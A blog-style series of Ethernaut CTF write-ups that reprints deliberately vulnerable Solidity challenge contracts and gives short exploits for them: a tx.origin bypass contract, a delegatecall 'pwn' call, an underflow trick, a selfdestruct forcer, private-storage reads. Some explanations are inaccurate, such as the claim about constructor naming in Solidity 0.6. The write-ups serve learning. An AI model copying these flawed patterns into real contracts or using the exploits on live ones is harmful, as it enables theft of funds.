# Ethernaut CTF Writeups
I recently started attempting Ethernaut CTF challenges and it has been a great learning experience solving all these variety of challenges which cover a broad spectrum of topics in solidity security and best practices and some coding tricks, gas reduction techniques etc. Every challenge brings forward a new topic and lot of the levels are connected too making it more easier to connect different bugs and their solutions.
So this series of blog posts is just a way for me to document my findings for each challenge so that I can refer back to them if/when I forget in the future how I solved them or just want to look back at my methods at a later date.
___
## Level 0 [Hello World]
This is the introductory level where the entire level consistis of calling certain methods each pointing to another method name and at the end we need to authenticate with a password giving the password as a parameter to the `authenticate()` method. This level basically teaches us to use the console which is what we use to get the password which can be viewed through the password method. We get knowledge of the password method by viewing the list of contract objects via the console. The password comes out to be *`"ethernaut0"`*
Below is the list of commands we need to enter into the console to complete the level:
```javascript
await contract.info()
await contract.info1()
await contract.info2()
await contract.infonum()
await contract.info42()
await contract.theMethodname()
await contract.method7123949()
await contract.password()
await contract.authenticate("ethernaut0")
```
___
## Level 1 [Fallback]
This level as the name describes familiarizes us with the *fallback* function in solidity
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
```
As we can see there is a function called receive which when called sets the callers address as the owner of the contract. So our goal is to somehow make the contract execute this recieve function. Fallback functions in solidity are called when a contract gets called with ether passed along with the call and additionally some data may or may not be sent along. If the data field is not empty then the *`fallback()`* function is called else the *`recive()`* fucntion is called.
Thus we just send over a message call to the contract keeping the data field empty thus resulting in the execution of the recieve function and making us the owner of the contract. Therafter its straight forward to drain the contract of all the ether calling the *`withdraw()`* function.
Below is the code to execute the transaction calling the contract:
```javascript
await contract.contribute({value:toWei(0.001)})
```
___
## Level 2 [Fallout]
This level is an intro to what constructors are in a way.
Constructors in solidity are functions which are called on contract intilization before the rest of the code is loaded. In solidity broadly there are two types of bytecodes the creation and runtime bytecode.
The constructor logic and its corresponding parameters etc get intialized in the creation bytecode that is generated on deployment of the smartcontract. It includes the input data to the transaction that creates the contract.
The creation bytecode intializes all the variables declared inside the constructor and sebsequently genrated the runtime code which includes the rest of the smart contract logic other than the constrctor.
This level highlights a classic flaw in the way constructors were allowed to be declared from solidity version `^0.6.0`. Constructors were basically named after the contract name itself like so:
```solidity
contract example {
function example(){
...
}
}
```
now keeping this we will lokk at the challenge code:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
```
Here we can clearly see that the constructor is named improperly the contract name is Fallout while the constructor is named as Fal1out.
This will result in being not considered as a fucntion on compilation.
rather this fucntion will be considered as anormal function and this means after deployment anybody could call this function which would not have been the case in the case of a constructor.
Thus we just need to call this method and as it sets the msg.sender as the owner we will be set as the owner of the function of the contract.
Below is the code:
```javascript
await contract.fal1out()
```
___
## Level 3 [Coin Flip]
This challenge deals with the concept of randomness in blockchain. In blockchain since everything is deterministic there is no true source of randomness unless we bring some external oracle into the picture to provide a source of randomness.
In the challenge as we can see below its basically about guessing the value of a boolean variable correctly 10 times and on guessing wrong even once the the variable tracking the correct guesses is reset to 0.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
```
As we can see on line 18 the randomness is generated from the hash of block number.
```solidity
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
```
From line 26 we see that we need the value of the side variable to get a correct guess and side is calculated from blockValue which is derived from subtracting 1 from the current block number.
blockValue is further divided by FACTOR of which we know the value of and its result stores in coinFlip.
Hence what you migh notice here is that everything in this is already either known to us or can be easilt determined. This means we can just make the flip function ourself to correctly guess the value of side variable and submit it after calling the flip funcion doing these 2 calls 10 times will get us past the level.
___
## Level 4 [Telephone]
This level illustrates a classic phishing method that can be used to gain access of a smart contract that make use of such authenticating pattern.
The contract uses `tx.origin` check to assign the owner address, the problem is `tx.origin` is vulnerable to phishing attacks which can trick users into performing authenticated actions on the vulnerable contract.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
```
The goal of this challenge is to pass the check on line 13 and become the owner. If we call the *`changeOwner()`* function directly with our player address then the `tx.origin` which is the address drom which the transaction originated (in this case our player address) and `msg.sender` (which will also be player address as we called the function) will be same and the check will fail.
To bypas this we make use of another contract say attack contract which will call the above contract call this the target contract. As calling another contract also is a message call hence when we call the attack contract the `tx.orgin` will be set to our address (player address) and this attack contract calls function in target contract making the `msg.sender` address as the attack contracts address as it is the one calling the *`changeOwner()`* function in target contract.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Telephone {
function changeOwner(address _owner) external;
}
contract Attack {
Telephone telephone;
constructor(address telephoneInstance) {
telephone = Telephone(telephoneInstance);
}
function changeOwner() public {
telephone.changeOwner(msg.sender);
}
}
```
___
## Level 5 [Token]
This challenge is based on arithmetic overflow/underflow in solidity.
So lets understand what exactly this concept is first.
For all the data types present in Solidity the EVM has a specified size fixed for that particular data type. Meaning a certain data type can only represent values in certain range.
this concept becomes especiall intresting when it comes to integers as a basic uint8 can represent numbers from $0$ to $2^8-1$ i.e [0,255] this is the range of an 8 bit unsigned integer variable.
So integer overflow occurs when an unsigned integer variables value exceeds the range specified for that type and it cant hold that big a value anymore, in which case the value of that variable will be reset to its minimum value i.e 0 and if any excess is there then it will increase from 0 herafter i.e $255 + 1$ will result in $0$ while $255 + 2$ will result in $1$.
That was overflow in the case of integer underflow the same occurs just in reverse i.e subtracting 1 from 0 will result in 255 and so on, basically wrapping around but in reverse this time.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
```
As we can see we are provided with 20 tokens intially and to win we need to increase the number of tokens to a large value somehow.
The transfer function takes in 2 parameters, the amt to transfer and the adress to which to transfer it to. It checks if the sender has that amount to transfer at first then it subtracts that amount from the senders balance and adds it to the recivers balance.
The issue here is where it deducts the amount frm the senders balance:
```solidity!
balances[msg.sender] -= _value;
```
This line has the ability to underflow reason being there is no checks on the subtraction.
Checks for overflow/underflow were not inherantly implemented until solidity version 0.8.0 and above.
Until then the developer had to make use of the safeMath library importing it explicitly and using it everytime an addition/subtraction needed to be performed and in this case looking at the solidity version we see that it is below 0.8.0 menaing it is vulnerable to underflow/overflows and since safeMath has not been called it is definetly going to cause underflows and overflows.
Taking advantage of this we can send to the transfer function some random address to which we want to transfer tokens and as value for the amount to transfer we can set it to 21.
This will result in the subtraction of 20 - 21 when the balance is being deducted from our account and this subsequently will result in an underflow and the value of our balance i.e the senders balance will be reset to the highest value that can be held by a uint variable which will result in a huge amount of tokens in our contract.
After this we simply need to submit our instance and we will have passed this level.
___
## Level 6 [Delegation]
This level illustrates the useage of delegate call method in solidity and why it should be used with the utmost precaution and how to exploit a delegate call not used properly.
Delegate call opcode executes the code in the called contract in the context of the calling contract i.e things like storage and msg.sender and msg.value remain unchanged.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
```
Storage in solidity can be understood as certain slots with each variable being assigned a slot starting from 0.
In `Delegation` contract in slot 0 the variable `owner` is stored in slot 0 and in `Delegate` contract too the variable `owner` is present in slot 0 and in `Delegate` contract we are modifying this `owner` variable inside *`pwn()`* function, this variable is present in slot 0 of `Delegate` contract, i.e the variable present in slot 0 of `Delegation` contract will be modified on calling *`pwn()`* function as the call is a delegate call which modifies the corresponding storage slot in the calling contract.
Thus if we call via delegate call the *`pwn()`* function in Delegate contract with player address our address will be set as the owner of the Delegation contract and thereby we can pass the challenge.
To call *`pwn()`* function we need to encode the function's signature in the `msg.data` field. In solidity encoded function signature of any function is the starting 4 bytes of the $keccak256$ hash of the functions signature. Function signature comprises of the function name along with the data type of parameters seperated by commas and enclosed in paranthesis.
The following code can be input into the console to pass the challenge:
```javascript
await sendTransaction({from: player, to: instance, data: "0xdd365b8b"})
```
___
## Level 7 [Force]
This challenge appraises on a certain unconventional way of sending ether to a contract.
To send ether as we normally do via *`transfer()`*, *`send()`* or *`call()`* to any contract we need it to be able to receive it via a function declared as payable.
But what if such a function is not present or in general are there any other ways to send ether to contracts otherthan the once mentioned above?... Turns out there are certain unconventional methods we can use to send ether to contracts or for that matter any valid ethereum address even if that address is not yet created or in use.
There are currently 3 ways to send ether to contracts/addreses even if they have no feature to receive ether:
- **Via block rewards:**
If miner earns ether via sucessfull proof of work then the miner would receive a block reward and the miner can specify to which address this reward should be sent.
- **Sending to a Pre-calculated address:**
As in the ethereum ecosystem calculating address is a deterministic process it is possible to easily calculate the address that would be assigned to a contract even before it is deployed thus if ether is send to that account beforehand than itwill have a non zro amount of eher on contract creation.
- **Self Destruct:**
This is the most common one and includes calling the sucide opcode which will result in self destruct of entire contract code and its storageand all ether present in the contract will be sent to the specified address in the *`selfdestruct()`* function.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ΓΈ= /
(______)__m_m)
*/}
```
As we can see the easiest way is to send ether to this contract via *`selfdestruc()`*.
All we need is a contract to which we need to send some ether and then call `selfdestruct(target_address)`
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Exploit{
constructor () public payable {
selfdestruct(instanceAddress);
}
}
```
___
## Level 8 [Vault]
This challenge enlightens us to a fundamental property of blockchain in general that is everything is publicly available unlike a normal codebase.
Everything from contract code timstamps to contracts storage is visible to everyone in the blockchain system. Hence care should be taken to never disclose sensitive information in smart contracts.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
```
So as we can see in the contract to pass this level we need to set the locked variable to false. It can be done by calling the unlock function but there is a check inside it to see if we provided the correct pasword only then will it set locked to false.
If we look at the declaration of password we notice it is set to private but then again this is all in the block chain and just because a variable is set to private doesent mean we cant read its value.
Private keyword only makes the variable safe from inheritance from other contracts and external contracts cant read the variable also unlike public variable which get a public getter function private variables dont have this.
But after all this when it comes to accessing the storage manually via a block explorer there is no difference in if the variable is public or private since all variables storage can be accessed easily.
So all we need to do is read the sorage slot where this variable is stored which in this case is slot 1.
```javascript
password = await web3.eth.getStorageAt(instance, 1)
```
___
## Level 9 [King]
This challenge brings to light the pull over push pattern thats should be followed whenever ether needs to be transferred.
It aims at shifting the risk associated with transferring ether to the user.
Sending ether to another address in Ethereum involves a call to the receiving entity. There are several reasons why this external call could fail. If the receiving address is a contract, it could have a fallback function implemented that simply throws an exception, once it gets called. Another reason for failure is running out of gas. Thus its always better to have the user call a withdraw() function rather than the contract transferring it itself.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
```
In this contract our goal is to block the contract from making anyone else king even if they send more ether than the current kings ether which is the check defined in the contract.
To this we need to just make sure the contract is never able to execute line 19 in whcih it assigns the new king. Also we notice that the contract is not following the pull over push pattern thus we can easily stop code execution when the contract transfers ether to a contract we specify.
All we need to do is declare a fallback fucntion in our contract which reverts eeverytime the contract reveives ether thus blocking the contracts code execution.
___
## Level 11 [Elevator]
This is just a starightforward challenge and more about just writing the correct contract code so that it passes the checks.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
```
So here the goal is to make the top variable to true. As we see the *`goto()`* fucntion is calling an external contract which implements a method called *`isLastFloor()`* and it takes one parameter.
On the first call to *`isLastfloor()`* it should return false to pass the check with the parameter `_floor` and once the check is cleared the same function should return true on calling it for a second time with the same parameter.
The following is the code of the Building contract which achieves that:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Elevator {
function goTo(uint _floor) external;
}
contract Building {
bool private check = false;
function isLastFloor(uint floor) external returns (bool) {
if (check) {
return true;
} else {
check = true;
return false;
}
}
function start(address elevatorInstance) public {
Elevator elevator = Elevator(elevatorInstance);
elevator.goTo(10);
}
}
```
___
## Level 12 [Privacy]
This challenge familiarizes us with storage methods in solidity and how packing is done by the compiler to optimize storage space.
Each storage slot in solidity is of 32 bytes and storage occurs in a sequential way where the slot starts from 0 and variables can be grouped together if enough space is still available in a particular slot this is known as packing. Packing can be done only in case of statically-sized variable i.e complex types like mapping and dynamic sized arrays are always stored begining from a new slot and cannot be packed.
Below is the challenge contract:
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
```
Now lets analyze the storage structure of the given contract.
```solidity
bool public locked = true; // stored in slot 0 [1 byte]
uint256 public ID = block.timestamp; // stored in slot 1 (complex type) [32 bytes]
uint8 private flattening = 10; // stored in slot 2 [1 byte]
uint8 private denomination = 255; // stored in slot 2 [1 byte] goes into slot 2 due to packing
uint16 private awkwardness = uint16(now); // stored in slot 2 [2 bytes] goes into slot 2 due to packing
bytes32[3] private data; // occupies slots 3,4,5 and 6 (complex type) [4x32 bytes] as complex type it starts from a new slot
```
Now on line 17 we can see that function *`unlock()`* takes in a key as a parameter and that key is checked with the first 16 bytes of the value stored in the 3rd storage variable of the `data` array.
Looking at the analysis of the storage pattern of this contract we see that `data[2]` will be stored in the 5th slot so all we need to do is read that memory slot and take the first 16 bytes and pass it to the *`unlock()`* function to pass this level.
___
## Level 13 [Gatekeeper One]
As the name suggests this challenges consists of 3 gates which we need to pass in order to solve it. Each gate is a require statement enclosed in a modifier.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
```
### gateOne
```solidity
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
```
This is the first gate and as we can see the check is similar to the Telephone challenge we did where we use another contract to act as intermediary.
### gateTwo
```solidity
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
```
This statement checks if the gas left modulo 8191 is equal to 0 i.e if 8191 divides the gas left this can achieved by simple brute force passing different values of gas until the check passes.
### gateThree
```solidity
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
```
This modifer has 3 seperate checks all based on conversion between different uint types:
The way uint conversion works is when you convert a uint from higher uint to a lower one the first x bits of the original uint value will be taken when converting from uint to uintx i.e when converting uint64 to uint32 the first 32 bits of the vaiable will be taken.
1. check one:
```solidity
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
```
this checks matches the lower 32 bits with lower 16 bits of `_gatekey` to get them to be equal we can make bits $16-31$ of `_gateKey` as 0.
2. check two:
```solidity
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
```
Here the lower 32 bits is checked with the 64 bits of `_gateKey` and as they should not be equal i.e the upper 32 bits of `_gateKey` should not be 0. We see in a way this is kinda the opposite of the first check.
3. check three:
```solidity
quire(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
```
This check is easy enough to pass all we need to do is ensure when we make the `_gatKey` its lower 16 bits are equal to lower 16 bits of the transaction address.
in the end consolidating all these we need `_gateKey` which is 64 bits whose
- first 16 bits are equal to that of tx.origin
- next 16 bits are 0
- next 32 bits shouldnot be 0
___
## Level 14 [GateKeeper Two]
Similar to the above challenge this also requires us to pass 3 gates.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
```
### gate One
```solidity
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
```
This is similar to last challenge and the Telephone challenge.
### gate Two
```solidity
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
```
This gate checks if the address calling the function on which this modifier is used is smart contract or not. The way it does this is by making use of the extcodesize opcode which returns the length of the code present if any given an address. thus if smart contract is present at that address it will return a number greater than 0 and the check will fail. But since to pass the first check we will need to use a smartcontract.
To bypass this we can call this contract from the constructor of our custom made smart contract. What this will do is fool the extcodesize opcode as during constrctor intilization the runtime bytecode has not yet been generated and hence the compiler doesnt know the size of the code present in the contract thus it will be 0 at this time. Hence allowing us to pass this check.
### gate Three
```solidity
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
```
This gate checks if the `_gateKey` is correct via a series of xor operations and at the end the xored result should satisfy a condition.
But since we know all the variables other than `_gateKey` in this equation it is easy to recover it and pass the final check.
___